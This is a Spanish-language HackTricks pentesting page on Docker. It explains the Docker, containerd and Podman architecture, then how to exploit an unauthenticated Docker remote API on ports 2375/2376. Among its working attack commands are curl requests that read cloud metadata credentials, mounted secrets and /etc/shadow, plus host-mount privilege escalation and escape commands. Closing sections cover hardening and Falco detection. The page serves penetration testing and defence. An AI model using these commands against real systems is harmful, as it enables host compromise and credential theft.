mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 13:43:24 +00:00
324 lines
24 KiB
Markdown
324 lines
24 KiB
Markdown
|
## 2375, 2376 Pentesting Docker
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|||
|
|
|||
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|||
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|||
|
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
|||
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|||
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|||
|
|
|||
|
</details>
|
|||
|
|
|||
|
## Conceptos básicos de Docker
|
|||
|
|
|||
|
### ¿Qué es?
|
|||
|
|
|||
|
La plataforma Docker es la plataforma de contenedores líder en la industria para la innovación continua y de alta velocidad, lo que permite a las organizaciones construir y compartir sin problemas cualquier aplicación, desde las heredadas hasta las que vienen a continuación, y ejecutarlas de forma segura en cualquier lugar.
|
|||
|
|
|||
|
### Arquitectura básica de Docker
|
|||
|
|
|||
|
Esta información se encuentra [aquí](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc).
|
|||
|
|
|||
|
* [containerd](http://containerd.io) es un tiempo de ejecución de contenedores que puede **administrar todo el ciclo de vida de un contenedor, desde la transferencia/almacenamiento de imágenes hasta la ejecución, supervisión y redes de contenedores**. **Más información sobre containerd a continuación.**
|
|||
|
* container-shim maneja contenedores sin cabeza, lo que significa que una vez que runc inicializa los contenedores, sale entregando los contenedores al container-shim que actúa como intermediario.
|
|||
|
* [runc](http://runc.io) es un tiempo de ejecución de contenedores universal y ligero, que cumple con la especificación OCI. **runc es utilizado por containerd para generar y ejecutar contenedores según la especificación OCI**. También es el empaquetado de libcontainer.
|
|||
|
* [grpc](http://www.grpc.io) se utiliza para la comunicación entre containerd y docker-engine.
|
|||
|
* [OCI](https://www.opencontainers.org) mantiene la especificación OCI para tiempo de ejecución e imágenes. Las versiones actuales de Docker admiten las especificaciones de imagen y tiempo de ejecución de OCI.
|
|||
|
|
|||
|
![runC, containerD](https://i.stack.imgur.com/5aXF6.png)
|
|||
|
|
|||
|
### Comandos básicos
|
|||
|
```bash
|
|||
|
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
|
|||
|
docker info #Get more infomarion about docker settings
|
|||
|
docker pull registry:5000/alpine #Download the image
|
|||
|
docker inspect <containerid> #Get info of the contaienr
|
|||
|
docker network ls #List network info
|
|||
|
docker exec -it <containerid> /bin/sh #Get shell inside a container
|
|||
|
docker commit <cotainerid> registry:5000/name-container #Update container
|
|||
|
docker export -o alpine.tar <containerid> #Export container as tar file
|
|||
|
docker save -o ubuntu.tar <image> #Export an image
|
|||
|
docker ps -a #List running and stopped containers
|
|||
|
docker stop <containedID> #Stop running container
|
|||
|
docker rm <containerID> #Remove container ID
|
|||
|
docker image ls #List images
|
|||
|
docker rmi <imgeID> #Remove image
|
|||
|
docker system prune -a
|
|||
|
#This will remove:
|
|||
|
# - all stopped containers
|
|||
|
# - all networks not used by at least one container
|
|||
|
# - all images without at least one container associated to them
|
|||
|
# - all build cache
|
|||
|
```
|
|||
|
### Containerd
|
|||
|
|
|||
|
Containerd fue diseñado para ser utilizado por Docker y Kubernetes, así como cualquier otra plataforma de contenedores que quiera **abstraer las llamadas al sistema o la funcionalidad específica del sistema operativo para ejecutar contenedores** en Linux, Windows, Solaris u otros sistemas operativos. Con estos usuarios en mente, queríamos asegurarnos de que containerd tenga solo lo que necesitan y nada que no necesiten. Realísticamente esto es imposible, pero al menos eso es lo que intentamos. Cosas como **la red están fuera del alcance de containerd**. La razón de esto es que, cuando se está construyendo un sistema distribuido, la red es un aspecto muy central. Con SDN y el descubrimiento de servicios hoy en día, la red es mucho más específica de la plataforma que abstraer las llamadas netlink en Linux.
|
|||
|
|
|||
|
Tenga en cuenta que **Docker utiliza Containerd, pero solo proporciona un subconjunto de las características que Docker proporciona**. Por lo tanto, ContainerD no tiene las características de gestión de red de Docker, ni se puede utilizar ContainerD solo para crear enjambres de Docker.
|
|||
|
```bash
|
|||
|
#Containerd CLI
|
|||
|
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
|
|||
|
ctr images list #List images
|
|||
|
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
|
|||
|
ctr container list #List containers
|
|||
|
ctr container info <containerName> #Get container info
|
|||
|
ctr task start <containerName> #You are given a shell inside of it
|
|||
|
ctr task list #Get status of containers
|
|||
|
ctr tasks attach <containerName> #Get shell in running container
|
|||
|
ctr task pause <containerName> #Stop container
|
|||
|
ctr tasks resume <containerName> #Resume cotainer
|
|||
|
ctr task kill -s SIGKILL <containerName> #Stop running container
|
|||
|
ctr container delete <containerName>
|
|||
|
```
|
|||
|
### Podman
|
|||
|
|
|||
|
**Información** [**de aquí**](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
|
|||
|
|
|||
|
Podman es un motor de contenedores de código abierto compatible con OCI ([Open Container Initiative](https://github.com/opencontainers)). Es impulsado por Red Hat e incorpora algunas diferencias importantes con Docker, como su arquitectura sin daemon y el soporte para contenedores sin root. En su núcleo, **ambas herramientas hacen lo mismo: gestionar imágenes y contenedores**. Uno de **los objetivos de Podman es tener una API compatible con Docker**. Por lo tanto, casi todos los comandos de la CLI (interfaz de línea de comandos) de Docker también están disponibles en Podman.
|
|||
|
|
|||
|
Puede encontrar otras dos herramientas en el ecosistema de Podman: Buildah y Skopeo. Buildah es una herramienta de CLI utilizada para construir imágenes de contenedores, y Skopeo es una herramienta de CLI para ejecutar operaciones en imágenes, como push, pull o inspect. [Por favor, consulte GitHub](https://github.com/containers/buildah/tree/master/docs/containertools) para obtener más información sobre estas herramientas y su relación con Podman.
|
|||
|
|
|||
|
**Las principales diferencias**
|
|||
|
|
|||
|
**La mayor diferencia entre Docker y Podman es su arquitectura**. **Docker** se ejecuta en una arquitectura **cliente-servidor**, mientras que **Podman** se ejecuta en una arquitectura **sin daemon**. Pero, ¿qué significa eso? Al trabajar con **Docker**, debe usar la CLI de Docker, que se comunica con un **daemon en segundo plano** (el daemon de Docker). La lógica principal reside en el daemon, que construye imágenes y ejecuta contenedores. Este **daemon se ejecuta con privilegios de root**. La arquitectura de **Podman**, por el contrario, le permite **ejecutar los contenedores bajo el usuario que está iniciando el contenedor** (fork/exec), y este usuario no necesita ningún privilegio de root. Debido a que **Podman tiene una arquitectura sin daemon, cada usuario que ejecuta Podman solo puede ver y modificar sus propios contenedores**. No hay un daemon común con el que la herramienta CLI se comunique.
|
|||
|
|
|||
|
Dado que Podman no tiene un daemon, necesita una forma de admitir la ejecución de contenedores en segundo plano. Por lo tanto, proporciona una integración con **systemd**, que permite controlar los contenedores a través de unidades de systemd. Dependiendo de la versión de Podman, puede generar estas unidades para contenedores existentes o generar unidades que puedan crear contenedores si no existen en el sistema. Hay otro modelo de integración con systemd, que permite que systemd se ejecute dentro de un contenedor. Por defecto, Docker utiliza systemd para controlar el proceso del daemon.
|
|||
|
|
|||
|
La segunda diferencia importante se refiere a cómo se ejecutan los contenedores. Con **Podman**, **los contenedores se ejecutan con los privilegios del usuario y no con los del daemon**. En este punto, entra en juego el concepto de contenedores sin root, lo que significa que el contenedor se puede iniciar sin privilegios de root. Los contenedores sin root tienen una gran ventaja sobre los contenedores con root ya que (lo adivinó) no se ejecutan bajo la cuenta de root. El beneficio de esto es que si un atacante es capaz de capturar y escapar de un contenedor, este atacante sigue siendo un usuario normal en el host. Los contenedores que son iniciados por un usuario no pueden tener más privilegios o capacidades que el propio usuario. Esto agrega una capa de protección natural.
|
|||
|
|
|||
|
{% hint style="info" %}
|
|||
|
Tenga en cuenta que como Podman tiene como objetivo admitir la misma API que Docker, puede usar los mismos comandos con Podman que con Docker, como:
|
|||
|
```bash
|
|||
|
podman --version
|
|||
|
podman info
|
|||
|
pdoman images ls
|
|||
|
podman ls
|
|||
|
```
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
## Información básica
|
|||
|
|
|||
|
El API remoto se ejecuta por defecto en el puerto 2375 cuando está habilitado. El servicio por defecto no requerirá autenticación, lo que permite a un atacante iniciar un contenedor de docker privilegiado. Al utilizar el API remoto, se pueden adjuntar hosts / (directorio raíz) al contenedor y leer/escribir archivos del entorno del host.
|
|||
|
|
|||
|
**Puerto por defecto:** 2375
|
|||
|
```
|
|||
|
PORT STATE SERVICE
|
|||
|
2375/tcp open docker
|
|||
|
```
|
|||
|
## Enumeración
|
|||
|
|
|||
|
### Manual
|
|||
|
|
|||
|
Tenga en cuenta que para enumerar la API de Docker, puede utilizar el comando `docker` o `curl` como en el siguiente ejemplo:
|
|||
|
```bash
|
|||
|
#Using curl
|
|||
|
curl -s http://open.docker.socket:2375/version | jq #Get version
|
|||
|
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
|
|||
|
|
|||
|
#Using docker
|
|||
|
docker -H open.docker.socket:2375 version #Get version
|
|||
|
Client: Docker Engine - Community
|
|||
|
Version: 19.03.1
|
|||
|
API version: 1.40
|
|||
|
Go version: go1.12.5
|
|||
|
Git commit: 74b1e89
|
|||
|
Built: Thu Jul 25 21:21:05 2019
|
|||
|
OS/Arch: linux/amd64
|
|||
|
Experimental: false
|
|||
|
|
|||
|
Server: Docker Engine - Community
|
|||
|
Engine:
|
|||
|
Version: 19.03.1
|
|||
|
API version: 1.40 (minimum version 1.12)
|
|||
|
Go version: go1.12.5
|
|||
|
Git commit: 74b1e89
|
|||
|
Built: Thu Jul 25 21:19:41 2019
|
|||
|
OS/Arch: linux/amd64
|
|||
|
Experimental: false
|
|||
|
containerd:
|
|||
|
Version: 1.2.6
|
|||
|
GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
|
|||
|
runc:
|
|||
|
Version: 1.0.0-rc8
|
|||
|
GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
|
|||
|
docker-init:
|
|||
|
Version: 0.18.0
|
|||
|
GitCommit: fec3683
|
|||
|
```
|
|||
|
Si puedes **contactar la API remota de Docker con el comando `docker`**, puedes **ejecutar** cualquiera de los [**comandos de Docker previamente comentados**](2375-pentesting-docker.md#basic-commands) para interactuar con el servicio.
|
|||
|
|
|||
|
{% hint style="info" %}
|
|||
|
Puedes `exportar DOCKER_HOST="tcp://localhost:2375"` y **evitar** usar el parámetro `-H` con el comando docker.
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
#### Escalada rápida de privilegios
|
|||
|
```bash
|
|||
|
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
|
|||
|
```
|
|||
|
#### Curl
|
|||
|
|
|||
|
En ocasiones, verás que el puerto **2376** está disponible para el punto final **TLS**. No he podido conectarme a él con el cliente de Docker, pero puedes hacerlo sin problemas con curl para acceder a la API de Docker.
|
|||
|
```bash
|
|||
|
#List containers
|
|||
|
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
|
|||
|
#List processes inside a container
|
|||
|
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
|
|||
|
#Set up and exec job to hit the metadata URL
|
|||
|
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
|
|||
|
#Get the output
|
|||
|
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
|
|||
|
# list secrets (no secrets/swarm not set up)
|
|||
|
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
|
|||
|
#Check what is mounted
|
|||
|
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
|
|||
|
#Get the output by starting the exec
|
|||
|
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
|
|||
|
#Cat the mounted secret
|
|||
|
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
|
|||
|
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
|
|||
|
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
|
|||
|
#Creating a container that has mounted the host file system and read /etc/shadow
|
|||
|
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
|
|||
|
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
|
|||
|
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
|
|||
|
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
|
|||
|
#Stop the container
|
|||
|
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
|
|||
|
#Delete stopped containers
|
|||
|
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
|
|||
|
```
|
|||
|
Si desea obtener más información sobre esto, puede encontrarla en el sitio web donde copié los comandos: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
|
|||
|
|
|||
|
### Automático
|
|||
|
```bash
|
|||
|
msf> use exploit/linux/http/docker_daemon_tcp
|
|||
|
nmap -sV --script "docker-*" -p <PORT> <IP>
|
|||
|
```
|
|||
|
## Comprometiendo
|
|||
|
|
|||
|
En la siguiente página puedes encontrar formas de **escapar de un contenedor de Docker**:
|
|||
|
|
|||
|
{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %}
|
|||
|
[docker-security](../linux-hardening/privilege-escalation/docker-security/)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
Abusando de esto, es posible escapar de un contenedor, podrías ejecutar un contenedor débil en la máquina remota, escapar de él y comprometer la máquina:
|
|||
|
```bash
|
|||
|
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
|
|||
|
cat /mnt/etc/shadow
|
|||
|
```
|
|||
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)
|
|||
|
|
|||
|
## Escalada de privilegios
|
|||
|
|
|||
|
Si estás dentro de un host que está utilizando Docker, puedes [**leer esta información para intentar elevar privilegios**](../linux-hardening/privilege-escalation/#writable-docker-socket).
|
|||
|
|
|||
|
## Descubriendo secretos en contenedores Docker en ejecución
|
|||
|
```bash
|
|||
|
docker ps [| grep <kubernetes_service_name>]
|
|||
|
docker inspect <docker_id>
|
|||
|
```
|
|||
|
Revisa la sección **env** (variables de entorno) en busca de secretos y podrías encontrar:
|
|||
|
|
|||
|
* Contraseñas.
|
|||
|
* IPs.
|
|||
|
* Puertos.
|
|||
|
* Rutas.
|
|||
|
* Otros...
|
|||
|
|
|||
|
Si deseas extraer un archivo:
|
|||
|
```bash
|
|||
|
docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
|||
|
```
|
|||
|
## Asegurando tu Docker
|
|||
|
|
|||
|
### Asegurando la instalación y uso de Docker
|
|||
|
|
|||
|
* Puedes usar la herramienta [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) para inspeccionar tu instalación actual de Docker.
|
|||
|
* `./docker-bench-security.sh`
|
|||
|
* Puedes usar la herramienta [https://github.com/kost/dockscan](https://github.com/kost/dockscan) para inspeccionar tu instalación actual de Docker.
|
|||
|
* `dockscan -v unix:///var/run/docker.sock`
|
|||
|
* Puedes usar la herramienta [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) para conocer los privilegios que tendrá un contenedor cuando se ejecute con diferentes opciones de seguridad. Esto es útil para conocer las implicaciones de usar algunas opciones de seguridad para ejecutar un contenedor:
|
|||
|
* `docker run --rm -it r.j3ss.co/amicontained`
|
|||
|
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
|
|||
|
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
|
|||
|
|
|||
|
### Asegurando las imágenes de Docker
|
|||
|
|
|||
|
* Puedes usar una imagen de Docker de [https://github.com/quay/clair](https://github.com/quay/clair) para escanear tus otras imágenes de Docker y encontrar vulnerabilidades.
|
|||
|
* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
|
|||
|
* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
|
|||
|
|
|||
|
### Asegurando los Dockerfiles
|
|||
|
|
|||
|
* Puedes usar la herramienta [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) para **inspeccionar tu Dockerfile** y encontrar todo tipo de configuraciones incorrectas. A cada configuración incorrecta se le asignará un ID, puedes encontrar aquí [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) cómo solucionar cada una de ellas.
|
|||
|
* `dockerfilelinter -f Dockerfile`
|
|||
|
|
|||
|
![](<../.gitbook/assets/image (418).png>)
|
|||
|
|
|||
|
* Puedes usar la herramienta [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) para **inspeccionar tu Dockerfile** y encontrar todo tipo de configuraciones incorrectas.
|
|||
|
* `dockerfilelint Dockerfile`
|
|||
|
|
|||
|
![](<../.gitbook/assets/image (419).png>)
|
|||
|
|
|||
|
* Puedes usar la herramienta [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) para **inspeccionar tu Dockerfile** y encontrar todo tipo de configuraciones incorrectas.
|
|||
|
* `dockerlint Dockerfile`
|
|||
|
|
|||
|
![](<../.gitbook/assets/image (420).png>)
|
|||
|
|
|||
|
* Puedes usar la herramienta [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) para **inspeccionar tu Dockerfile** y encontrar todo tipo de configuraciones incorrectas.
|
|||
|
* `hadolint Dockerfile`
|
|||
|
|
|||
|
![](<../.gitbook/assets/image (421).png>)
|
|||
|
|
|||
|
### Registrando actividad sospechosa
|
|||
|
|
|||
|
* Puedes usar la herramienta [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) para detectar **comportamientos sospechosos en contenedores en ejecución**.
|
|||
|
* Observa en el siguiente fragmento cómo **Falco compila un módulo del kernel e lo inserta**. Después, carga las reglas y **comienza a registrar actividades sospechosas**. En este caso, ha detectado 2 contenedores privilegiados iniciados, 1 de ellos con un montaje sensible, y después de algunos segundos ha detectado cómo se abrió una shell dentro de uno de los contenedores.
|
|||
|
```
|
|||
|
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
|
|||
|
* Setting up /usr/src links from host
|
|||
|
* Unloading falco-probe, if present
|
|||
|
* Running dkms install for falco
|
|||
|
|
|||
|
Kernel preparation unnecessary for this kernel. Skipping...
|
|||
|
|
|||
|
Building module:
|
|||
|
cleaning build area......
|
|||
|
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
|
|||
|
cleaning build area......
|
|||
|
|
|||
|
DKMS: build completed.
|
|||
|
|
|||
|
falco-probe.ko:
|
|||
|
Running module version sanity check.
|
|||
|
modinfo: ERROR: missing module or filename.
|
|||
|
- Original module
|
|||
|
- No original module exists within this kernel
|
|||
|
- Installation
|
|||
|
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
|
|||
|
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
|
|||
|
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
|
|||
|
|
|||
|
depmod...
|
|||
|
|
|||
|
DKMS: install completed.
|
|||
|
* Trying to load a dkms falco-probe, if present
|
|||
|
falco-probe found and loaded in dkms
|
|||
|
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
|
|||
|
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
|
|||
|
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
|
|||
|
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
|
|||
|
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
|
|||
|
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
|
|||
|
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
|
|||
|
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
|
|||
|
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
|
|||
|
```
|
|||
|
### Monitoreo de Docker
|
|||
|
|
|||
|
Puede utilizar auditd para monitorear Docker.
|